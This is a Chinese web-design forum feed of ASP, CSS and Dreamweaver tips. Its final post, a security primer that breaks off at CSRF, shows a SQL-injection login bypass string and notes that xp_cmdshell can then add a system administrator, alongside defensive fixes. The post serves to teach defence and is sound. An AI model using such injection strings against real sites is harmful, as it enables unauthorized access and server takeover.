康柏仕电脑学院--Dreamweaver网站设计交流区最新20篇论坛主题-全文index.aspzh-cn康柏仕电脑学院http://www.combss.com/bbs/Rss Generator By Dvbbs.Neterp@chidg.comimages/top.jpg康柏仕电脑学院ASP文件上传大小限制修改http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=8095&Page=1轻轻风聆2025/1/17 16:40:58ASP文件上传大小限制修改

在ASP中,可以通过修改配置文件来设置上传文件的大小限制,具体步骤如下:

1、打开IIS管理器,找到你的网站或应用程序。

2、双击“ASP”图标,进入ASP设置页面。

3、在右侧的“行为”面板中,找到“最大请求实体主体”选项,将其值设置为你希望的最大上传文件大小(以KB为单位),如果你想允许上传最大为5MB的文件,可以将该值设置为5120KB。

4、点击“应用”按钮保存更改。

 


图片点击可在新窗口打开查看此主题相关图片如下1.jpg:
图片点击可在新窗口打开查看
]]>
ASP只显示日期不显示时间http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=3454&Page=1superpch2013/2/27 17:09:01仅仅一行代码就可以做到只显示日期而不显示时间,曾经为了这样想了好多的办法,又是截取,又是函数,今天才知道FormatDateTime就是最好的工具,记录下来为了表示对自己无知的纪念,嚎嚎嚎嚎……

 

<%=FormatDateTime(Rs("RegDate"),2)%>

 

前:Rs("RegDate")

取值格式 2009-3-25 13:53:12

 

后:FormatDateTime(Rs("RegDate"),2)  

取值格式 2009-3-25

]]>
HTML虚线表格代码http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=3453&Page=1superpch2013/2/27 17:00:49学会HTML虚线表格代码 与 颜色的设置,asp中可以用到的style="border-top-style:dashed ;" 其中的top顶

 

 


 设置虚线如下    style="border-top-style:dashed ;" 其中的top是在顶部设置,如果是在底部用 bottom其中必须在<td 后接着写style=……

<table>
<tr>
<td style="border-top:dashed  10px #F00;border-left:dashed 1px #000000;border-right:dashed 1px #000000" >只有这样才行吗?

</td>
</tr>
<tr><td style="border-left:dashed 10px #000000;border-right:dashed 1px #000000" height=100> </td></tr>
<tr>
  <td style="border-bottom:dashed 1px #000000;border-left:dashed 10px #000000; border-right:dashed 1px #000000">&nbsp; </td></tr></table>

 

 

style="border-top:dashed  10px #F00;"可以在顶部设置10像素的红色(#F00)虚线

效果如下

图片点击可在新窗口打开查看

 

 


 

<table>
<tr>
<td style="border-top:dashed 1px #000000;border-left:dashed 1px #000000;border-right:dashed 1px #000000">只有这样才行吗?

</td>
</tr>
<tr><td style="border-left:dashed 1px #000000;border-right:dashed 1px #000000" height=100> </td></tr>
<tr><td style="border-bottom:dashed 1px #000000;border-left:dashed 1px #000000; border-right:dashed 1px #000000">如果td多了,

这样出来的虚线边框是断断续续的。</td></tr></table>

 

图片点击可在新窗口打开查看

]]>
硕思魔法菜单使用技巧http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=3437&Page=1轻轻风聆2012/12/22 9:02:53如何使用 "加亮菜单项"?
该选项是用来加亮菜单项,该菜单项链接到你正在浏览的当前页面。.
当你通过魔法菜单系统浏览网站时,加亮设置很容易的指导你你现在正访问的是哪个链接。
加亮设置如何工作?
当你访问一个网页,菜单将会分析当前页面的URL和菜单的所有链接URL,如果在菜单中发现相同的链接,菜单项将会加亮显示(访问模板)。
加亮功能支持下列链接类型:
绝对网页路径如: http://www.sothink.com/index.htm
根相关路径如: /product/dhtmlmenu/index.htm
(注意: 该链接路径不能在本地工作,请发布你的页面到web服务器上。)
相关路路径如: dhtmlmenu/index.htm or ../index.htm
注意:在你的链接中最好不要是用间距和双字节字符。
如何去设置?
点击 "全局 > 加亮".
自动加亮项链接: 你应该选择该项来启用加亮功能。
选项
清除加亮项链接:
指向当前页面加亮项的链接,将会被移除直到你进入其他的页面。然后链接将会被再次添加。
当比较项目链接时区分大小写:
当将菜单项链接与其当前页面链接比较时,选择该项将会是链接区分大小写。这对于UNIX系统是非常有用的。
加亮父菜单项:
该选项加亮被加亮项目的父菜单项,这样导航才会非常的清晰。
自动显示加亮弹出菜单:
当选择该项时,将会启用弹出菜单,该弹出菜单链接指向当前弹出页面并自动加亮。
显示所有等级::
显示所有菜单项,这些菜单项自动指向当前页面,仅仅加亮弹出菜单。
注意: 如果你选择“加亮父菜单项”和“自动显示加亮弹出菜单”,所有指向当前页面的菜单项被加亮。
显示()等级::
显示父菜单项定义的等级数,该数目是从第一个父菜单开始,该第一个父菜单的链接指向当前页。
注意: 如果你选择“加亮父菜单项”和“自动显示加亮弹出菜单”,父菜单项的定义等级被加亮。
样式
用下列鼠标悬停属性加亮项:
你可以选择一个或多个你已经为鼠标悬停设置的属性来加亮当前页链接。
文本颜色: 使用鼠标悬停状态文本工具。
字体样式和类型: 使用鼠标悬停状态字体样式和类型。
背景颜色: 使用鼠标悬停状态的背景颜色属性。
背景图片: 使用鼠标悬停状态的背景图片来加亮。
边框颜色: 使用鼠标悬停状态的边框颜色来加亮。
图标: 使用鼠标悬停状态鼠标图标。
图片: 使用鼠标悬停状态菜单项图片]]>
屏蔽鼠标右键,防止复制,粘贴http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=3426&Page=1轻轻风聆2012/11/23 15:55:28禁止鼠标右键:onco ntextmenu="return false";
禁止选择:ons electstart="return false";
禁止拖放:ond ragstart="return false";
禁止拷贝:oncopy=document.selection.empty() 。

禁止保存:<noscript><iframe src="*.htm"></iframe></noscript>,放在head里面。
禁止粘贴:<input type=text >
关闭输入法:<input style="ime-mode:disabled">

屏蔽鼠标右键:function document.oncontextmenu(){event.returnValue=false;}
屏蔽F1帮助:function window.onhelp(){return false}
屏蔽其他键:
function document.onkeydown()
{
   if ((window.event.altKey)&&
   ((window.event.keyCode==37)|| //屏蔽 Alt+ 方向键 ←
   (window.event.keyCode==39))) //屏蔽 Alt+ 方向键 →
   {
    alert("不准你使用ALT+方向键前进或后退网页!");
    event.returnValue=false;
   }
    /* 注:这还不是真正地屏蔽 Alt+ 方向键,
    因为 Alt+ 方向键弹出警告框时,按住 Alt 键不放,
    用鼠标点掉警告框,这种屏蔽方法就失效了。以后若
    有哪位高手有真正屏蔽 Alt 键的方法,请告知。*/
   if ((event.keyCode==8)   ||                 //屏蔽退格删除键
   (event.keyCode==116)||                 //屏蔽 F5 刷新键
   (event.ctrlKey && event.keyCode==82)){ //Ctrl + R
    event.keyCode=0;
    event.returnValue=false;
    }
   if (event.keyCode==122){event.keyCode=0;event.returnValue=false;}   //屏蔽F11
   if (event.ctrlKey && event.keyCode==78) event.returnValue=false; //屏蔽 Ctrl+n
   if (event.shiftKey && event.keyCode==121)event.returnValue=false;   //屏蔽 shift+F10
   if (window.event.srcElement.tagName == "A" && window.event.shiftKey)  
   window.event.returnValue = false;          //屏蔽 shift 加鼠标左键新开一网页
   if ((window.event.altKey)&&(window.event.keyCode==115))          //屏蔽Alt+F4
   {
   window.showModelessDialog("about:blank","","dialogWidth:1px;dialogheight:1px");
   return false;
   }
}

屏蔽打印:

?<style>
@media print{
* {display:none}
}
</style>

[此贴子已经被作者于2012-11-23 16:26:50编辑过]
]]>
解决文章图片撑破表格的办法(直接控制图片显示大小)http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=3425&Page=1轻轻风聆2012/11/16 23:11:44<script language="JavaScript">
var imgObj;
for(i = 0; i < document.all.length; i++)
{
if(document.all(i).tagName.toLowerCase()=="img")
{
  imgObj = document.all(i)  //建议只判断高度或者宽度其中一个,那样可以自动按比例缩放
  if (imgObj.height>520)  //判断图片的高度,如果大于500,则设置为200,值可以自己修改
  {
   imgObj.height=520
  }
  if (imgObj.width>380)  //判断图片的宽度,如果大于500,则设置为200,值可以自己修改
  {
   imgObj.width=380
  }
}
}

</script>

 


转载《解决文章图片撑破表格的办法(直接控制图片显示大小)》一文请注明出自〖北屯在线〗。谢谢合作!文章地址:http://www.btzx.cn/Article/zwzl/xxzl/200710/11721.html

]]>
CSS兼容:如何兼容IE7和IE8_Div+CSS教程http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=3420&Page=1superpch2012/9/12 12:20:59  在以前的文章中Mb5u.com向大家说明,IE8会是福音还是又一个光环 据称全面兼容标准。
  今天向大家介绍如何解决IE7和IE8的兼容性问题。

  微软在IE8提供三种解析页面的模式
  IE8 Standard Modes :默认的最标准的模式,严格按照W3C相关规定
  IE7 Standards Modes :IE7现在用的解析网页的模式,开起机关是在<head>中加入 <meta http-equiv="X-UA-Compatible" c>
  Quirks Modes :IE5用的解析网页的模式,开起机关是删除HTML顶部的DOCTYPE声明
  注意:不同模式间的网页在IE8中可以互相 frame ,因此因不会模式下的DOM和CSS渲染不一样,所以会引发很多问题,务必注意如果你的页面对IE7兼容没有问题,又不想大量修改现有代码,同时又能在IE8中正常使用,微软声称,开发商仅需要在目前兼容IE7的网站上添加一行代码即可解决问题,此代码如下:

示例代码
<meta http-equiv="x-ua-compatible" c />

  IE8 最新css hack:

  "\9" 例:"margin:0px auto\9;".这里的"\9"可以区别所有IE和FireFox.
  "*" IE6、IE7可以识别.IE8、FireFox不能.
  "_" IE6可以识别"_",IE7、IE8、FireFox不能.
]]>
aspsmartupload组件使用方法http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=3213&Page=1轻轻风聆2011/1/15 22:48:13QQ、淘宝、MSN、Skype在线状态代码生成方法http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=3209&Page=1轻轻风聆2010/12/11 21:00:24
  • QQ在线代码生成:http://is.qq.com/webpresence/code.shtml
  • 淘宝旺旺在线代码生成:http://www.taobao.com/help/wangwang/wangwang_0628_12.php
  • MSN在线代码生成:http://im.live.cn/imme/
  • Skype在线代码生成:http://skype.tom.com/products/skypeme.htm
  • 如何在网页上显示腾讯QQ/MSN/旺旺在线洽谈?

    1.QQ在线咨询代码,以下是旧代码,把代码拷贝加入网页,修改为你的号码,网站名称以及提示即可生效,但使用时会要求添加好友才能交谈,不太方便。

    <a target="blank" href="http://wpa.qq.com/msgrd?V=1&Uin=349294289&Site=酷站代码www.5icool.org&Menu=yes"><img border="0" SRC=http://wpa.qq.com/pa?p=1:349294289:6 alt="点击这里给我发消息" align="absmiddle"></a>

    另一种QQ在线状态代码2.0版可支持即时交谈,不需要添加好友,但是代码需要在官方网站生成,单改号码不会生效。代码生成见:http://imis.qq.com/webpresence/code.shtml

    2.阿里巴巴旺旺在线状态代码生成,cardlanok改成你的ID就行了,还有alt改成你的内容。

    <a target="_blank" href="http://amos1.taobao.com/msg.ww?v=2&uid=cardlanok=1" ><img border="0" src="http://amos1.taobao.com/online.ww?v=2&uid=cardlanok=1" alt="点击这里给我发消息" /></a>

    更多的阿里巴巴旺旺在线状态代码生成样式,请查看阿里巴巴官方网站
    http://www.taobao.com/help/wangwang/wangwang_0628_04.php

    3.skype在线状态代码生成

    将yisung换成你的skype ID就可以了,需要在skype个人账户里设置对任何人显示状态

    <a href="skype:mengsajewel?call" ><img src=http://mystatus.skype.com/smallclassic/yisung style="border: none;" alt="Call me!" /></a>

    更多的skype在线状态代码生成样式,请查看skype的官方网站:http://www.skype.com/share/buttons/

    4.如何生成MSN在线状态代码

    需要登录帐号设置相关选项,按提示操作即可。

    ]]>
    ASP+JS三级联动下拉菜单[调用数据库数据]http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=3202&Page=1轻轻风聆2010/10/29 14:44:06网上三级菜单多是多但是代码都比较烦,我这个应该说还是比较直观的:

    ========================================================

    '肯定先要连接数据库了,不用说了
    '数据库结构
    '类别1表名称:a  字段:ID,Name  说明:ID为主键是类别1的ID值,Name为类别1的名称
    '类别2表名称:aa  字段:ID,aID,Name  说明:ID为主键是类别2的ID值,aID为所属类别1的ID值,Name为类别2的名称
    '类别3表名称:aaa  字段:ID,aID,aaID,Name  说明:ID为主键是类别3的ID值,aID为所属类别1的ID值,aaID为所属类别2的ID值,Name为类别3的名称

    =====test1.asp 你可以测试下,接收到的都是类别的ID值====
    <%
    response.write"1:"&Request.form("s1")&"<BR>"
    response.write"2:"&Request.form("s2")&"<BR>"
    response.write"3:"&Request.form("s3")&"<BR>"
    %>

    =========================================================

    <!-- 三级联动菜单 开始 -->
    <script language="JavaScript">
    <!--
    <%
    '二级数据保存到数组
    Dim count2,rsClass2,sqlClass2
    set rsClass2=server.createobject("adodb.recordset")
    sqlClass2="select * from aa"
    rsClass2.open sqlClass2,conn,1,1
    %>
    var subval2 = new Array();
    //数组结构:一级根值,二级根值,二级显示值
    <%
    count2 = 0
    do while not rsClass2.eof
    %>
    subval2[<%=count2%>] = new Array('<%=rsClass2("aID")%>','<%=rsClass2("ID")%>','<%=rsClass2("Name")%>')
    <%
    count2 = count2 + 1
    rsClass2.movenext
    loop
    rsClass2.close
    %>

    <%
    '三级数据保存到数组
    Dim count3,rsClass3,sqlClass3
    set rsClass3=server.createobject("adodb.recordset")
    sqlClass3="select * from aaa"
    rsClass3.open sqlClass3,conn,1,1
    %>
    var subval3 = new Array();
    //数组结构:二级根值,三级根值,三级显示值
    <%
    count3 = 0
    do while not rsClass3.eof
    %>
    subval3[<%=count3%>] = new Array('<%=rsClass3("aaID")%>','<%=rsClass3("ID")%>','<%=rsClass3("Name")%>')
    <%
    count3 = count3 + 1
    rsClass3.movenext
    loop
    rsClass3.close
    %>

    function changeselect1(locationid)
    {
        document.form1.s2.length = 0;
        document.form1.s2.options[0] = new Option('==请选择类别==','');
        document.form1.s3.length = 0;
        document.form1.s3.options[0] = new Option('==请选择专题==','');
        for (i=0; i<subval2.length; i++)
        {
            if (subval2[i][0] == locationid)
            {document.form1.s2.options[document.form1.s2.length] = new Option(subval2[i][2],subval2[i][1]);}
        }
    }

    function changeselect2(locationid)
    {
        document.form1.s3.length = 0;
        document.form1.s3.options[0] = new Option('==请选择专题==','');
        for (i=0; i<subval3.length; i++)
        {
            if (subval3[i][0] == locationid)
            {document.form1.s3.options[document.form1.s3.length] = new Option(subval3[i][2],subval3[i][1]);}
        }
    }
    //-->
    </script>

    <form name="form1" method="post" action="test1.asp">

    三级联动:
    <%
    Dim count1,rsClass1,sqlClass1
    set rsClass1=server.createobject("adodb.recordset")
    sqlClass1="select * from a"
    rsClass1.open sqlClass1,conn,1,1
    %>
    <select name="s1" >
    <option>==请选择频道==</option>
    <%
    count1 = 0
    do while not rsClass1.eof
    response.write"<option value="&rsClass1("ID")&">"&rsClass1("Name")&"</option>"
    count1 = count1 + 1
    rsClass1.movenext
    loop
    rsClass1.close
    %>
    </select>

    <select name="s2"  >
    <option>==请选择类别==</option>
    </select>

    <select name="s3">
    <option>==请选择专题==</option>
    </select>
    <input type="submit" name="Submit" value="提交"></form>

    <!-- 三级联动菜单 结束 -->

    ]]>
    中国大陆地区畅销色彩http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=2909&Page=1轻轻风聆2009/11/6 22:57:38
    图片点击可在新窗口打开查看
    棕色
    图片点击可在新窗口打开查看
     情绪 土的;自然的;偶然的;信奉;安全的;安静的;无聊的  
     自然、本能 包围、环绕;呆滞的;阴暗的  
     举止 朴素的;可靠的;稳定的;坚定的;保守主义、保守的  

    图片点击可在新窗口打开查看
    白色
    图片点击可在新窗口打开查看
     情绪 欢乐的;清白;希望;清洁的  
     自然、本能 纯净的;启迪;有启发的  
     举止 利己主义的;理想的、唯心的;乐观的;优柔寡断的  

    图片点击可在新窗口打开查看
    灰色
    图片点击可在新窗口打开查看
     情绪 稳定的;放弃;尊严的;稳定的;保护  
     自然、本能  
     举止 有准备的;被监护的;妥协的;遵守纪律的  

    图片点击可在新窗口打开查看
    黑色
    图片点击可在新窗口打开查看
     情绪 悲恸的;诡辩;神秘的;不可靠的;端庄的(一流的);受胁迫的;高贵的  
     自然、本能 悲恸的;服丧;疲劳的  
     举止 胁迫的;有威严的;极好的;神秘的;强有力的;孤零的、孤独的  

    图片点击可在新窗口打开查看
    红色
    图片点击可在新窗口打开查看
     情绪 喜爱;热情的;活力充沛的;危险的;有勇气的  
     自然、本能 增加力量;血脉膨胀的;  
     举止 侵略性的;冲动的;运动的;极端的;色情的  

    图片点击可在新窗口打开查看
    兰色
    图片点击可在新窗口打开查看
     情绪 平静;忠诚;和平;真诚;悲伤;公正  
     自然、本能 血压下降的;冷酷或松懈的;降低呼吸频率的;  
     举止 教条的;可依赖的;现实的;权威的;保守的  

    图片点击可在新窗口打开查看
    橙色
    图片点击可在新窗口打开查看
     情绪 活跃的;积极的;欢愉的;大胆的  
     自然、本能 兴奋的;社交;减轻敌意  
     举止 乐于社交的;浮躁的;愉快的  

    图片点击可在新窗口打开查看
    黄色
    图片点击可在新窗口打开查看
     情绪 乐观的;易怒的;烦恼的;尖锐的记忆;明智的;热情的  
     自然、本能 引起愤怒的;刺激循环、运动的;刺激食欲的  
     举止 警告;反省;争辩;识别;沟通;革新  

    图片点击可在新窗口打开查看
    绿色
    图片点击可在新窗口打开查看
     情绪 出生;成长;羡慕、嫉妒;生疏的;稚嫩的;同情的;新鲜的  
     自然、本能 恢复活力的;扩张的、发展的;平衡的;环保的  
     举止 常态的;习惯的、惯例;传统的;平静的  

    图片点击可在新窗口打开查看
    紫色
    图片点击可在新窗口打开查看
     情绪 皇室、王权;至高无上的;平静的  
     自然、本能 降低血压的;降低欲望的;安静的  
     举止 高雅;幻想的;有创造力的  

    图片点击可在新窗口打开查看
    粉色
    图片点击可在新窗口打开查看
     情绪 警惕的;情绪化的  
     自然、本能 降低血压的;降低欲望的;安静的  
     举止 温文尔雅的;受保护的;友好的;纵容的
    ]]>
    Dreamweaver制作复杂交换图像http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=2287&Page=1轻轻风聆2009/3/27 19:08:23制作效果

    我们要制作出一列7个按钮的图片,并且在这一列的按钮图片的前面加上一个指针,我
    们要实现的效果是当我们在将鼠标移向某一个按钮图片的时候,这个按钮上面的文字变换颜色。并且指针指向这张图片(效果如图1所示)。

    图片点击可在新窗口打开查看

    制作原理

    交换图像的制作原理是应用到Dreamweaver中的行为面板上的翻转图像(Swap image)这一个工具。将它设置成为当产生鼠标悬停在某一个按钮图片的动作的时候,让按钮本身实现一个图像的交换(交换成为黄色文字的图片),与此同时设计指针图像的交换(交换成为指针指向当前按钮的指针图片),以实现上述效果的实现。

    ^-^:其实网页上的一些东西看起来似乎很神秘,可究其根源它也只不过是几张图片或几个图层的简单变化而已。

    制作材料

    这里演示的是7张按钮图片的翻转,所以,我们需要14张按钮图片和7张指针图片共21张图片的制作来实现所示效果。其中7张前台按钮图片分别命名为B1-1~B1-7,7张后台按钮图片分别命名为B2-1~B2-7,其中7张指针图片分别命名为Z1~Z7,它们的指针分别指向第一到第七个按钮。您可以用Fireworks等图片制作软件来制作按钮图片。

    制作方法

    1、建立网页文件。

    2、插入一个7乘2的表格,并且把左面的一列表格合并,用来插入指针图片。而右面的七个表格用来插入按钮图片。

    3、在左面的表格中插入第一张指针图片Z1,在右面的7行单元格中分别插入蓝色的前台按钮B1-1~B1-7(效果如图2所示)。


    图片点击可在新窗口打开查看

    图2

    4、点击“窗口(Windows)→行为”,调出行为面板。

    5、选中第一个要设置行为的图片,这里是写有“指导思想”的按钮图片,即图片B1-1。

    6、点击加号按钮,在弹出菜单下选择交换图像(Swap image),弹出交换图像对话框。我们的主要部分的设置将在这个对话框中进行。

    7、点击对话框当中的浏览按钮,然后选择好这张按钮图片将要翻转成的目的图片,在本例中是带有黄色文字的按钮图片,即图片B2-1。然后点击确定。

    8、重复第6步的操作,在图像的文本框中选中指针图片Z1,然后,再次点击浏览按钮,把它翻转成第1个指针文件,即Z1。点击确定。完成上述操作后,行为面板上的显示结果如图3所示。

    图片点击可在新窗口打开查看

    图3

    9、选中第2张按钮图片B1-2,按照上面的方法将它本身翻转成按钮B2-2,并且将指针图片翻转成第2号指针图片Z2。

    10、依以上步骤,分别将下面5张图片分别设置成为交换图像的行为。

    11、按F12预览,把鼠标的指针悬停在每张图片上,怎么样,感觉还不错吧?

    ]]>
    Dreamweaver也能轻松制作Flash相册http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=2286&Page=1轻轻风聆2009/3/27 19:07:49漂亮的Flash动画人人喜欢,不过制作起来的确有一些技术难度。你知道吗,Dreamweaver作为一个网页制作工具,还可以创建好玩的Flash相册。今天我们就来利用它来制作一个简单、漂亮的Flash相册,最终效果如图1。

    图片点击可在新窗口打开查看

    图1

    插入Flash元素

    运行Dreamweaver,点击菜单“插入”→“媒体”→“图像查看器”,系统会自动弹出“保存Flash元素”对话框,键入保存的文件名,例如:“Photo.swf”,点击“保存”按钮完成。

    现在一个Flash元素就被插入网页中了,为满足实际需要,下面我们需要进行简单的参数设置。鼠标点击编辑窗口中的“Flash元素”,在属性面板中重新设置动画的宽、高值为实际所需,如图2。

    图片点击可在新窗口打开查看

    图2

    Flash元素参数设置

    下面我们还需要设置“Flash元素”的参数,为Flash相册指定调用的图片、设置相册外观。点击菜单“窗口”→“标签检查器”,现在我们可以Dreamweaver右栏中看到一个“Flash元素”面板,如图3。

    图片点击可在新窗口打开查看

    图3

    这里可供选择的参数很多,下面我们主要讲几个基本的设置值。

    imageURLs,该值用于设置调用的图片位置,我们一般将调用的图片放在同保存的“Photo.swf”文件同一文件夹为佳。鼠标点击imageURLs项目的值,系统自动在参数右侧增加“编辑数组值”按钮,点击进入,如图4。

    图片点击可在新窗口打开查看

    图4


    进入“编辑"imageURLs"数组对话框”,系统默认内置了三组数值,我们可以点击“+”号增加新的数值,每一组的数值同需要调用的图片文件名一一对应即可,如图5。

    图片点击可在新窗口打开查看

    图5


    其它“Flash元素”的参数设置方法基本同上,下面我们列一下几个重要的参数:

    imageLinks,设置点击每张图片后访问的网址。

    showControls,定义是否显示Flash相册的播放控制按钮。

    slideAutoPlay,定义Flash相册是否自动播放。

    transitionsType:定义Flash相册过渡效果的类型,默认为随机效果:Random。

    title、titleColor、titleFont、titleSize:添加自定义的相册标题、颜色、字体、大小等值。

    frameShow、frameThickness、frameColor:用于定义Flash相册是否有边框及边框宽度、颜色值。

    注:Dreamweaver会在保存相册的文件夹中自动生成一个Scripts文件夹,上传网页时要记住一起上传。

    ]]>
    利用DW快速批处理图片链接http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=2285&Page=1轻轻风聆2009/3/27 19:06:43对于网页制作者来说,最烦琐的事情可能就是给页面中的图片或文字加链接了。假如页面内容很多的话,那么所做的工作只能用恐怖来形容。记得几天前,笔者就曾在很短的时间内为一个客户做了300个图片和相应的链接。正好是Dreamweaver和Fireworks结合的一个很好的实例典范,下面我们就来学习一下自动制作许多链接并处理图片的方法。

    首先启动Dreamweaver,建立好站点后,选择Command(命令)>Create Web Photo Album(制作Web影集),打开Create Web Photo Album。

    然后在Photo Album Title后的文本输入框中输入影集的名称。在这里输入的文字我们建议最好输入英文字母,不要输入汉字,因为输入汉字后,在Dreamweaver的编辑区中显示的并不十分正常。Subheading Info和Other Info后输入副标题或其他标题,在Photo Album Title后输入“Photo”。

    接下来就在Source Images Folder后的“Browse”按钮中选择目标图片所在的目录,然后单击“保存”按钮,这里选择Boats目录。

    点击Destination Folder后的“Browser”按钮,选择好处理后的文件所在的目录,一般我们要选择自己站点所在的目录,(在本例中我们的站点目录就是目标图片目录Boats),然后单击“打开”按钮。

    在Thumbnail Size后的下拉列表中选择好Fireworks处理后的图片大小。

    在Columns后选择每行图片排列的个数,在Thumbnail Format后的下拉列表中选择索引图片的压缩格式,在Photo Frmat后的下拉列表中可以选择原图片的压缩格式。

    对于Create Navigation Page for Each Photo的单选框中的对号不做选择。它作用是是否给所有的图片创建一个索引页。如果勾选了该项,则在浏览该图片的时候,每个图片的页面都会有向前、向后、或回到主页面的链接;如果不勾选该项,则没有这些链接,这在选择的时候可以根据自己的需要来确定。

    作好上面的工作之后,单击“OK”按钮,接下来Fireworks就启动起来了(机器里要装有Fireworks),在Fireworks的窗口里将出现窗口,这是Fireworks中处理图片的进度。

    返回Dreamweaver的工作区,按下键盘的F12键,测试一下页面,看看效果,如图5,这么多链接仅仅两分钟就做好了,是不是很容易。

    点击图片,会自动跳转到放大后的图片,也就是原图片的页面。

    ]]>
    Dreamweaver中数据库路径的使用http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=2284&Page=1轻轻风聆2009/3/27 19:02:17 链接数据库是我们程序开发的第一步,下面我们来看看Dreamweaver中数据库路径的使用技巧。

      一、不推荐使用Server.Mappath(相对文档路径地址的数据库文件)

      虽然具有平台移植性,但对于不同层次,不同深度下的引用该数据库的文件,将不能完整地保证数据库路径的正确性。

      举个例子:

      1,数据库文件cnbruce.mdb,所在文件夹database(可http访问)

      2,DW自动生成的连接数据库文件conn.asp,所在文件夹Connections

      3,如果在DW中测试连接路径成功,则必须输入地址为Server.Mappath("../database/cnbruce.mdb")

      但随后引用该数据库连接的文件必须保存在某文件夹中,该文件夹和database是同等的

      即:

      - database

      - cnbruce.mdb

      - Connections

      - conn.asp

      - 某文件夹

      - x1.asp

      这种结构才能使用正常。但这就必须要求站点中,所有引用了连接数据库文件的文件,必须存放在站点的一级目录下。显然这是不合理的,比如这样的结构。

      - x2.asp

      - database

      - cnbruce.mdb

      - Connections

      - conn.asp

      - 某文件夹

      - 某子文件夹

      - x3.asp

      则x2.asp和x3.asp均不能正常显示。

      原理分析:无论conn.asp放在哪里,无论conn.asp的内容如何,最后都是取决于引用了conn.asp的文件的文件位置和数据库的位置关系。

      解决办法:在conn.asp中进行判断当前路径,根据不同级别值给出不同链接路径……对于初学者来说,麻烦。

      二、不推荐使用Server.Mappath(相对根目录路径的数据库文件)

      使用这种方法,首先需要将IIS默认站点调整到当前DW站点所在文件夹(XP系统),或建立一个站点指向该文件夹(2K等系统)。

      反正一句话,就是当你输入 http://localhost/ 时,显示的内容已不是默认的IIS首页,而是你所设置的DW站点文件夹中的默认首页文档。

      那么在设置了该IIS站点之后

      1,数据库文件cnbruce.mdb,所在文件夹database(可http访问)

      2,DW自动生成的连接数据库文件conn.asp,所在文件夹Connections

      3,如果在DW中测试连接路径成功,则输入地址为Server.Mappath("/database/cnbruce.mdb")

      /database/cnbruce.mdb 该方法就是相对根目录,高屋建瓴式的进行数据库路径的获得,无论哪个层次的,哪个目录下的站点文档均能正常显示。

      但依然不推荐!原因如下:

      在本地你可以自行修改IIS的站点,当上传到服务器或虚拟主机时,麻烦就来了。

      1,如果你的虚拟主机服务商技术不过关,当在解析你网站根目录的时,不是指向到你的站点文件夹,而是指向服务器系统盘下的wwwroot文件夹。于是路径肯定错误。

      2,如果你需要上传的并不是你的站点根目录,很显然,路径也肯定会发生解析错误。

      所以,不推荐!那么,该怎么办
     三、推荐使用Server.Mappath(本地绝对物理路径的数据库文件)

      很简单,这个数据库在本地你总会知道它所在的位置吧。在DW中创建时就直接使用该绝对物理路径地址。

      OK,来上传了。当然不可能那么巧:上传到服务器上的数据库物理路径地址和本地数据库物理路径地址是一样的

      所以,现在只需要获得上传到服务器空间上的数据库文件,在服务器上是处于什么物理地址就行了。

      怎么获得?

      1,建立一个path.asp文件,内容很简单

      2,该文件和数据库文件cnbruce.mdb,共一文件夹,捆绑式一同上传。

      3,在URL地址栏查看path.asp,得到cnbruce.mdb在服务器上的物理地址,拷贝该路径。

      4,将本地的conn.asp中的物理路径,替换后再上传。一切OK!

      特点:

      1,虽然平台移植不很强,但全面支持所有站点中文件连接,况且也就是本地和服务器间两者间的移植。

      2,防止%5c暴库间接获得数据库地址。

      3,现在越来越多的空间建议将数据库文件放放到非Web访问目录中(当然具体的路径获得又是另外一种方法了),这就必须要求用户使用物理路径了。

      所以,我的观点是:

      Dreamweaver MX 动态建站数据库路径的使用方法:本地使用物理地址,上传服务器依然使用物理地址

    ]]>
    写给ASP.NET程序员:网站中的安全问题http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=2283&Page=1轻轻风聆2009/3/27 19:01:20做项目也有一段时间了,在程序中也遇到很多安全方面的问题。也该总结一下了。这个项目是一个CMS系统。系统是用ASP.NET做的。开发的时候发现微软做了很多安全措施,只是有些新手程序员不知道怎么开启。下面我通过几个方面简单介绍:

      1:SQL 注入

      2:XSS

      3:CSRF

      4:文件上传

      SQL 注入

      引起原因:

      其实现在很多网站中都存在这种问题。就是程序中直接进行SQL语句拼接。可能有些读者不太明白。下面通过一个登录时对用户验证来说明:

      验证时的sql语句:

    select * from where user='"+txtUsername.Text+"' and pwd='"+txtPwd.Text+"'

      这是一段从数据库中查询用户,对用户名,密码验证。

      看上去好象没有什么问题,但是实际这里面浅藏着问题,用户名:admin  密码:admin

    select * from where user='admin' and pwd='admin'

      如果用户和密码正确就可通验证。如果我用户名:asdf' or 1=1 -- 密码:随意输入.

      我们再来看语句:

    select * from where user=‘asdf' or 1=1 -- and pwd=''

      执行后看到什么?是不是所有记录,如果程序只是简单判断返回的条数,这种方法就可以通验证。

      如果执行语句是SA用户,再通过xp_cmdshell添加系统管理员,那么这个服务器就被拿下了。

      解决方法:

      a. 这个问题主要是由于传入特殊字符引起的我们可以在对输入的用户名密码进入过滤特殊字符处理。

      b. 使用存储过程通过传入参数的方法可解决此类问题(注意:在存储过程中不可使用拼接实现,不然和没用存储过和是一样的)。

      XSS(跨站脚本攻击)

      引起原因:

      这个也有时被人们称作HTML注入,和sql注入原理相似,也是没有特殊字符进行处理。是用户可以提交HTML标签对网站进行重新的构造。其实在默认的情况下在asp.net网页中是开启validateRequest属性的,所有HTML标签后会.NET都会验证:

     

      但这样直接把异常抛给用户,多少用户体验就不好。

      解决方法:

      a. 通过在 Page 指令或 配置节中设置 validateRequest=false 禁用请求验证,然后我们对用户提交的数据进行HtmlEncode,编码后的就不会出现这种问题了(ASP.NET 中编码方法:Server.HtmlEncode(string))。

      b. 第二种是过滤特殊字符,这种方法就不太提倡了,如果用户想输入小于号(<)也会被过滤掉.

      CSRF(跨站点请求伪造)

